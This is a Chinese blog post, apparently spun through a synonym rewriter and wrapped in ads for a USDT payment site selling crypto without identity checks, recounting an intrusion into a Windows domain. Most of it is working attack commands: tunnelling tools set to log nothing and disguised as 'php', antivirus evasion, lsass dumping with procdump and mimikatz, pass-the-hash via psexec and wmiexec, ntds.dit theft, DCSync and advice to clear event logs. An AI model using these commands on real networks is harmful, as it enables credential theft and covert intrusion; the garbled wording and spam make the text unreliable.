usdt交易所(www.caibao.it):菜菜鸡的初体验之内网渗透

USDT第三方支付API接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

靠山

​ 菜菜鸡最近进入了一个内网,然则菜菜鸡之前没有打过内网,菜菜鸡示意有点不知所措,然则菜菜鸡的老大,大菜菜鸡示意不要慌,人人都没打过,边打边学,这样菜菜鸡就最先了第一次内网渗透之旅。

​ 由于内网重大,不能能逐一先容知识,以是本文主要先容一些在本次内网渗透常用且好用的工具、方式和更快到达目的的思绪。

署理工具

不管在任何渗透中,好的署理工具是必不能少的,好的署理工具能让你在内网中七进七出,穿破对方的防线。

本篇幅有点小长,但可以关注一下内里的一些小trick或者优化。

NPS

  1. 简介

​ NPS是一款用go写的内网穿透工具,它的特征有:

1. 险些支持所有协议
2. 支持内网http署理、内网socks5署理、p2p等
3. 简练但功效壮大的WEB治理界面
4. 支持服务端、客户端同时控制
5. 扩展功效壮大
6. 全平台兼容,一键注册为服务

​ 基于以上特征,我们很愿意让它成为我们主要的署理工具。特别是存在web治理界面,使多个客户端治理变得十分轻松,及其存在webapi,可以让我们做一些自动化的事情。

  1. 设置
    a. nps
    nps设置的主要关注的点在:

    , 是否开启http proxy 该功效类似于nginx实现https的处置
    http_proxy_ip=
    http_proxy_port=
    https_proxy_port=
    https_just_proxy=
    
    , bridge的类型和port 选一个自己想要的port即可
    bridge_type=tcp
    bridge_port=8888
    bridge_ip=0.0.0.0
    , 日志品级和纪录 建议不记
    log_level=7
    log_path=/dev/null
    , 客户端毗邻使用vkey 
    public_vkey=iamavkey
    , nps web治理端设置  建议设置web_host和web_base_url加倍平安
    web_host= test.com
    web_username=user
    web_password=pass
    web_port = 12345
    web_ip=0.0.0.0
    web_base_url=/only_login
    , 端口复用
    官方文档如下:
    在一些严酷的网络环境中,对端口的个数等限制较大,nps支持壮大端口复用功效。将bridge_port、 http_proxy_port、 https_proxy_port 、web_port都设置为统一端口,也能正常使用。
    
    使用时将需要复用的端口设置为与bridge_port一致即可,将自动识别。
    如需将web治理的端口也复用,需要设置web_host也就是一个二级域名以便区分

    ​ 除了以上设置,在实际使用中还需要体贴客户端的心跳检测频率和超时检测:

    客户端与服务端间会距离5s相互发送延迟丈量包,这个时间距离不能修改。 可修改延迟丈量包丢包的次数,默以为60也就是5分钟都收不到一个延迟丈量回包,则会断开客户端毗邻。 值得注重的是需要客户端的socket关闭,才会举行重连,也就是当客户端无法收到服务端的fin包时,只有客户端自行关闭socket才行。 也就是若是服务端设置为较低值,而客户端设置较高值,而此时服务端断开毗邻而客户端无法收到服务端的fin包,客户端也会继续等着直到触发客户端的超时设置。
    
    在nps.conf或npc.conf中设置disconnect_timeout即可,客户端还可附带-disconnect_timeout=60参数启动

    ​ 若是以为这个频率过快可以思量修改源码来适配当前环境。

    b. npc

    ​ npc启动方式可以分为两种,同时npc也支持注册到系统服务的形式举行安装和启动。

    无文件形式启动

    ​ 这种方式首先需要在web端新建一个客户端,

    ​ 设置完了之后,点开该客户端旁边的+(-),可以睁开(收回)客户端的设置详情,其中就有npc启动下令,

    ​ 在这里分享一些小trick,若是在linux机械上以无文件形式启动,可以用以下下令伪装成php或java:

    mv npc php
    export PATH=.:$PATH
    , 环境变量设置vkey
    export NPC_SERVER_ADDR=1.1.1.1:8024
    export NPC_SERVER_VKEY=xxxxx
    php

    设置文件形式启动

    ./npc -config=npc设置文件路径

    ​ 详细设置可参考官方文档。

  2. bug修复

    ​ 在平时使用中,我们发现npc在windows中使用存在一些Bug:计划任务或其它非服务的system权限npc无法启动,经由debug发现是service这个依赖包存在问题,跟开发团队相同他们建议自己先暂且解决。这是一个非常重要的功效,由于若是我们想要在不保持某个用户上岸的情况下准时运行npc,就需要计划任务/ru SYSTEM选项

    查看npc.go代码可以发现npc是支持不挪用service就启动的,以是暂且解决方案如下:

    s, err := service.New(prg, svcConfig)
    if err != nil {
    修改成
    if false {
    或者将if里代码提取出来,service代码去掉

frp

  1. 简介
    frp 是一个专注于内网穿透的高性能的反向署理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以平安、便捷的方式通过具有公网 IP 节点的中转露出到公网。

    从功效上来讲与nps无太大的差异,以是这不赘述了,这里贴出项目地址和设置文档地址。

EarthWorm

  1. 简介:
    EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大焦点功效,可在庞大网络环境下完成网络穿透。
    作者已经住手更新,然则网上照样可以找到源码。网上已经有许多关于ew的使用教程,这里不赘述了。
     看到这里可能许多读者又要问了,我已经有了npc、frp和chisel了,为啥还要用ew呢?那么我们思量一个场景,对方内网有台机械不出网,而且我们只能通过这台机械到达目的网段,这个时刻该怎么办?谜底很简朴,就是使用ew直接在该跳板机开启一个正向socks5监听端口,我们就可以通过该socks5到达目的网段。
  2. 静态免杀
    我们在使用过程中经常遇到的问题是被杀软识别成恶意程序,但ew自己没有恶意行为,以是我们可以通过一些常用的过静态免杀的手法来过杀软:
    a. 重新编译
    b. 取出不需要的字符常量
    建议在内陆先测试好再上生产环境,否则被识别了就前功尽弃。除此之外还需要思量流量特征,这里就留给人人自行发挥了。

invoke-proxy

  1. 简介

    除了ew外,在windows还可以使用powershell剧本举行正向的socks5毗邻。Invoke-SocksProxy就实现了这个功效,固然它还可以举行反向socks5回弹,然则不推荐,或者需要修改源码使用。缘故原由在于它的心跳在于5s,而且时不时会中止,需要修改和测试。

  2. 使用
    在powershell运行

    Import-Module .\Invoke-SocksProxy.p *** 1;Invoke-SocksProxy -bindPort 1080

    即可在机械上监听1080端口并转发请求

域信息网络

一、前期信息网络

当我们获得一台内网通俗机械的权限的时刻,需要举行开端的信息网络,才可以确定我们下一步的目的。

假设菜菜鸡现在获取了一台在域内的windows权限,菜菜鸡该做什么呢?上网一搜,唰的一下,出来一堆:

  1. 获取当前所在域的名称
    a. net config Workstation

    net config Workstation
    盘算机名                     \\DC
    盘算机全名                   DC.test.com
    用户名                       Administrator
    
    工作站域                     test
    工作站域 DNS 名称            test.com
    登录域                       test
    
    下令乐成完成。

    其中工作站域即是域名称

    b. net time /domain

    net time /domain 
    \\DC.test.com 的当前时间是 2021/1/1 20:29:16

    c. systeminfo

    d. ipconfig /all

  2. 域内相关信息网络
    a. 基本信息查询

    , 查看域管
    net group "domain admins" /domain
    , 获得企业治理员列表
    net group "enterprise admins" /domain 
    , 获得域控列表
    net group "domain controllers" /domain
    , 获得所有域用户列表
    net user /domain  > C:\Windows\Temp\user.txt
    , 获得所有域成员盘算机列表
    net group "domain computers" /domain > C:\Windows\Temp\com.txt
    , 获取所有的组,这一步其实是非常重要的,由于专业运维都市分组,而且命名规范,以是若是想要正确打击目的,好比财政、hr、治理员组,就可以直奔目的而去
    net group /domain > C:\Windows\Temp\group.txt
    , 获取域信托信息
    nltest /domain_trusts 
    , 查询域所有spn,也可以查到dc及其主机名,这个下令在搜集盘算机分组上也很有用
    setspn -T target.com -Q */* > C:\Windows\Temp\spn.txt
    , nslookup 查询该域所有域控及对应主机名 为CVE-2020-1472 ZeroLogon做准备
    nslookup -type=all _ldap._tcp.dc._msdcs.test.com
    
    _ldap._tcp.dc._msdcs.test.com     SRV service loc
              priority       = 0
              weight         = 100
              port           = 389
              svr hostname   = dc.test.com
    dc.test.com       internet address = 1.1.1.1
    , 一样平时来讲,域内DNS跟域控会在一起,以是可以通过nslookup获取dns服务器,不外具有局限性,由于域内通常有多个域控服务器
    nslookup google.com

    b. 抓取本机hash

    ​ 菜菜鸡这个时刻已经获取了域的基本信息,然则照样有点渺茫,接下来醒目什么?菜菜鸡想起了之前在某大厂实习的时刻,用的也是域,菜菜鸡用自己的账号内陆登录过其它机械,那远程上岸的权限是不是也有?然则通过一番询问和查证,获得的效果是一样平时都不行。然则域管就可以,以是就最先了找域管账号密码之旅。

    ​ 由于菜菜鸡进入的是一个sharepoint系统,很大概率本机保留着某些域管的凭证,以是抓取内陆hash就成了我们的主要目的。

    ​ 抓取内陆hash网上也有许多文章了,这里先容一种不上传mimikatz抓取hash的方式,可以有用的规避杀软:

    ​ 1). 上传procdump64.exe ,procdump是微软官方提供的工具,以是不用忧郁免杀问题;

    ​ 2). 运行 procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp;

    ​ 3). 下载lsass.dmp;

    ​ 4). 在内陆运行mimikatz

    mimikatz , sekurlsa::minidump lsass.dmp
    mimikatz , sekurlsa::logonPasswords full

    即可看到所有内陆保留的hash

    幸运的是,我们确实拿到了域管的hash,而且照样明文的,虽然不是明文也无所谓(后面才知道)

二、横向扩展执行下令常用方式

当我们拿到域管密码的时刻,若是不想举行远程登录但想在目的机械上执行下令,可以接纳以下几种方式:

  1. psexec
    psexec是微软官方的PsTools里的一款工具,行使445或者139端口,开启一个交互式的下令控制台。
    psexec主要通过admin$和ipc$共享,将psexesvc.exe文件上传,然后通过用于启动服务二进制文件的服务控制治理器(sc),在目的主机上确立命名管道,并将该管道用于输入和输出操作,就可以获得一个交互式的下令控制台。原理图如下:

    ​ 详细剖析可参考这篇文章。

    用法:

    , -s 为Run the remote process in the System account
    PsExec.exe \\xxx.xxx.xxx.xxx -u domain.com\user_name -p password -s cmd

    ​ 同时要思量psexec会在对方机械留下的痕迹:
    a. PSEXESVC 服务将会安装在远程系统中,若是是断网退出,psexec服务和psexec.exe不会被删除;
    b. 天生 Event 4697、7045、4672 这3种事宜日志,主要是内容是psexec服务启动和凭证认证。

  2. wmic
    WMIC是一款下令行工具,不只可以治理内陆盘算机,还可以治理远程盘算机。瑕玷是不会举行回显,以是可以结合写文件和 *** b读文件举行下令执行。

    用法:

    wmic /node:192.168.1.158 /user:pt007 /password:admin123  process call create "cmd.exe /c ipconfig>d:\result.txt"

    wmic在平时渗透中用的对照少,然则在某些特定场景可以使用,好比需要特定用户的权限去执行下令。

  3. wmiexec
    wmiexec.py是impacket里的一个组件,类似于 *** bexec的方式,然则通过WMI执行下令,以是它补足了wmic不能回显的瑕玷。
    用法

    python3 wmiexec.py test.com/Administrator@xxx.xxx.xxx.xxx -hashes xxxx:xxx(LMHASH:NTHASH)

    看到这里菜菜鸡不禁思索了起来,wmiexec与psexec区别到底是啥呢?在实践环境中该用哪个呢?

    我们可以重新梳理下它们的流程以及要行使到的端口:
    psexec

    ,

    Usdt第三方支付平台

    菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

    ,
    1. 提供凭证,SMB验证
    2. 使用IPC$和admin$共享上传psexec.exe
    3. 通过远程挪用确立服务并启动
    4. 用下令管道举行输入输出处置
    5. 竣事后删除psexec.exe和服务
    依赖于445端口,可取得system权限

    wmiexec

    1. 提供凭证,SMB验证
    2. 提供凭证,确立DCOM毗邻
    3. 输入下令
    4. 对下令举行拼接处置(将下令效果输出到ADMIN$),并行使确立好的DCOM毗邻和__win32Process执行下令
    5. 取回效果并显示,然后删除效果文件(OUTPUT_FILENAME = '__' + str(time.time()))
    依赖于135、445端口,不需要system权限,但必须要是admin权限

    综上,wmiexec与psexec相比:
    优点

    a. 无exe落地;

    b. 不会在对方的机械上启动服务,只会留下认证日志。

    瑕玷

    a. 需要135端口;

    b. 会有输出效果文件落地;

    c. 经由流量抓包,发现下令是明文传输的。

    以是若是在流量审查对照严酷和135端口不通的环境中,菜菜鸡会思量用psexec,若是在日志审查严酷的环境中,菜菜鸡会思量使用wmiexec。

    除此之外,还要思量杀软、防火墙和域计谋,菜菜鸡还没测过在杀软环境下psexec和wmiexec的显示,以是任重而道远。

  4. pth
    pth(pass the hash)是一种行使NTLM哈希来向远程服务器或服务举行身份验证,从而绕过使用明文密码限制的手艺。凭据 *** 的先容:

    在使用NTLM身份验证的系统或服务上,用户密码永远不会以明文形式通过网络发送。相反,它们像域控制器一样作为哈希提供给请求系统,作为对质询-响应身份验证方案的响应。
    
    本机Windows应用程序向用户询问明文密码,然后挪用LsaLogonUser之类的API,将该密码转换为一个或两个哈希值(LM或NT哈希),然后在NTLM身份验证时代将其发送到远程服务器。对这种机制的剖析解释,乐成完成网络身份验证不需要明文密码,只需要哈希即可。
    
    若是攻击者拥有用户密码的哈希值,则无需强行使用明文密码;他们可以简朴地使用他们获取的随便用户帐户的哈希值来针对远程系统举行身份验证并模拟该用户。换句话说,从攻击者的角度来看,哈希在功效上等同于天生它们的原始密码。

    可以大致看出pth是行使NTLM认证机制的特征举行哈希通报,这会使在渗透场景中,使用NTLM认证的任何服务或服务器,例如SMB、WEB应用等,变得十分懦弱。

    空话不多说,直接举几个栗子:

    下面都是使用mimikatz来举行pth攻击的例子

a. psexec

privilege::debug
   sekurlsa::pth /user:user /domain:test /ntlm:xxxxxxxx
   PsExec.exe /accepteula \\192.168.1.1 cmd.exe

b. wmiexec

wmiexec就是用的hash

python3 wmiexec.py test.com/Administrator@xxx.xxx.xxx.xxx -hashes xxxx:xxx(LMHASH:NTHASH)

c. rdp

privilege::debug
   sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"

然后输入地址直接毗邻就可以了。

这个默认是不开的,需要开启计谋:

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

若是有特定用户RDP需求可以通过psexec上去开启计谋然后RDP上去。

d. web application

若是使用了NTLM认证的网站,例如在IIS设置了NTLM认证,也可以使用pth攻击,详细可以查看这篇文章。

privilege::debug
   sekurlsa::pth /user:pth /ntlm:57f5f9f45e6783753407ae3a8b13b032 /domain:TEST /run:cmd.exe

在弹出的下令行执行

"C:\Program Files\internet explorer\iexplore.exe"

在IE-Internet选项-平安-内陆Internet-站点-高级,添加目的站点到区域,

然后接见目的网站即可完成NTLM认证。

到现在为止,菜菜鸡已经有了意大利炮,可以向域控提议攻击了。

三、中期信息网络

现在菜菜鸡已经上岸上域控了,那么菜菜鸡下一步该做什么呢?这里不禁要思索,域控有什么?通常来说,域控通常会有:

1. 域所有用户的hash和域组织结构
2. DNS
3. 可能保留其它域管的明文密码
4. 域认证日志

我们主要目的是域所有用户的hash和域组织结构,其次再是DNS和域认证日志

  1. ntds.dit导出
    Ntds.dit是主要的AD数据库,包罗有关域用户,组和组成员身份的信息。它还包罗域中所有用户的密码哈希值。为了进一步珍爱密码哈希值,使用存储在SYSTEM注册表设置单元中的密钥对这些哈希值举行加密。

    但通常我们没办法直接复制它,直接复制会提醒"文件正在使用",以是我们可以通过Shadow Copy来复制它。

    参考这篇文章,可以知道系统自带两个下令:ntdsutil和vssadmin,通过这两个下令可以将ntds.dit导出,不外会发生Event ID为7036和98的日志,注重消灭,下面以ntdsutil为例:

    a. 确立快照:

    ntdsutil snapshot "activate instance ntds" create quit quit

    该下令会返回快照的guid。

    b. 挂载快照

    ntdsutil snapshot "mount {88663f87-3791-4ee4-8fe6-d5172fc85748}" quit quit

    该下令会返回挂载到的位置。

    c. 复制ntds.dit

    copy C:\$SNAP_202101181507_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

    d. 卸载快照

    ntdsutil snapshot  "unmount {88663f87-3791-4ee4-8fe6-d5172fc85748}" quit quit

    e. 删除快照

    ntdsutil snapshot  "delete {88663f87-3791-4ee4-8fe6-d5172fc85748}" quit quit

    f. 查看是否完成卸载和删除

    ntdsutil snapshot "List All" quit quit
    ntdsutil snapshot "List Mounted" quit quit

    然后再运行:

    reg save HKLM\SYSTEM sys.hiv

    将sys.hiv拖回来,配合ntds.dit就可以将数据库给解出。

    除此之外,另有许多种行使Shadow Copy的方式,但原理都大同小异。

  2. 域hash导出
    域hash导出的方式有许多种, 下面举三个例子:

    a. ntds.dit
    在上文中,我们已经获取到了ntds.dit和HKLM\SYSTEM注册表,行使Impacket的secretsdump.py就可以解出:

    python secretsdump.py -ntds ntds.dit -system registry/SYSTEM LOCAL --outputfile hash.txt

    b. mimikatz

    行使mimikatz也可以导出域的hash,而且不一定要在域控上,但权限要够:

    mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

    c. secretsdump.py

    secretsdump.py是Impacket里的一个剧本,跟wmiexec一样可以用hash认证:

    python secretsdump.py test.com/administrator@10.x.x.x -just-dc -hashes xxxxx:xxxxx
  3. DNS纪录导出
    在域环境中,域控通常也负担DNS的职能,以是我们可以直接从域控上导出该域控治理的DNS纪录。

    , 枚举出所有区域,本域或域林中其它区域治理的区域
    Dnscmd DC.test.com /EnumZones
    , 更详细的列出某个域名的DNS纪录,该域名得是该域治理下的
    Dnscmd . /ZonePrint test.com
    , 简练的列出某个域名的DNS纪录
    Dnscmd . /EnumRecords test.com .

    下面给出一个网上找的powershell导出Dns的剧本,这个导出的DNS纪录也对照详细:

    , powershell 导dns
    $Zones = @(Get-DnsServerZone)
    ForEach ($Zone in $Zones) {
    Write-Host "`n$($Zone.ZoneName)" -ForegroundColor "Green"
    $Zone | Get-DnsServerResourceRecord |fl
    }

    若是是不在域控的情况下,也可以行使dnscmd远程导dns纪录,不外要借助mimikatz的pth功效。

  4. 域认证纪录导出
    行使下令:

    wevtutil qe security /q:"Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]]" /f:text /rd:true > C:\Windows\temp\Evtlogon.txt

    将经由该域控认证的认证日志导出,其中包含了一些用户名和被上岸机械的IP。

四、后期信息网络

​ 在经由中期信息网络之后,后期的扩展目的就不是单纯的某台机械,而是人与文档,可以尝试着凭据在域控网络到的组织结构和域认证纪录找到某个部门的IP段从而举行定向攻击,提升效率。总而言之照样需要大量的信息网络才气到达目的,最终菜菜鸡也通过翻文档和翻机械找到想要的器械,完成了域的渗透。

五、总结

​ 在真实环境中,域的庞大水平取决于域的巨细、运维职员的专业水平,有时刻运维职员不专业,网段不隔离,没有防火墙,没有流量审计,会让整个渗透变得十分简朴,然则若是做得十分专业,网段隔离,有防火墙,有流量审计等,会让整个渗透变得十分困难,这个时刻就十分磨练菜菜鸡的匹敌能力了,然则借助好的方式和工具往往能为虎傅翼,让敌人措手不及。

添加回复:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。